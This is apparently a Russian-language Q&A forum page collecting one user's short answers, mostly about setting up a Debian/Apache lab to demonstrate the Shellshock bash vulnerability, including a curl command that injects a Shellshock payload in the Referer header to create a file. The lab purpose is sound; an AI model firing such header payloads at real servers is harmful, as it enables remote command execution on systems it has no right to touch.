Си или Go для приложения по обработке сетевого трафика до 1.5М пакетов/с?

пункты 3, 4 относятся и к Си

С помощью чего создать подобный эффект?

спасибо !
как всё просто оказалось =)

Debian Linux - Стенд демонстрации shellshock'a ?

largotek: всё уже, нечего больше настраивать.
cgi скрипты нужны. без них не получится.

Debian Linux - Стенд демонстрации shellshock'a ?

largotek: почему не получается ? ты же демонстрируешь -- настрой всё под себя.

Debian Linux - Стенд демонстрации shellshock'a ?

largotek: тостер скушал теги, вот :
pastebin.com/BDrR3UBB

Debian Linux - Стенд демонстрации shellshock'a ?

largotek:

На уязвимой виртуалке пропиши в /usr/local/apache/conf/httpd.conf

ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"

SetHandler cgi-script
OPtions +ExecCGI
Order allow,deny
Allow from all

Создай папку /usr/local/apache/cgi-bin если её нет.
Положи туда file.cgi
с содержанием
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello"

дай ему права chmod 755 file.cgi

С другой виртуалки проверь доступен ли созданный скрипт. В браузере отрой url /cgi-bin/file.cgi.

Потом попробуй проверить работает ли уязвимость или нет.

Например, можно попробовать файл создать
curl -k -H 'Referer:() { :; }; /bin/bash -c "touch 1111111.txt"' /cgi-bin/file.cgi

Можно попробовать другие заголовки. Ну в статьях видел наверное.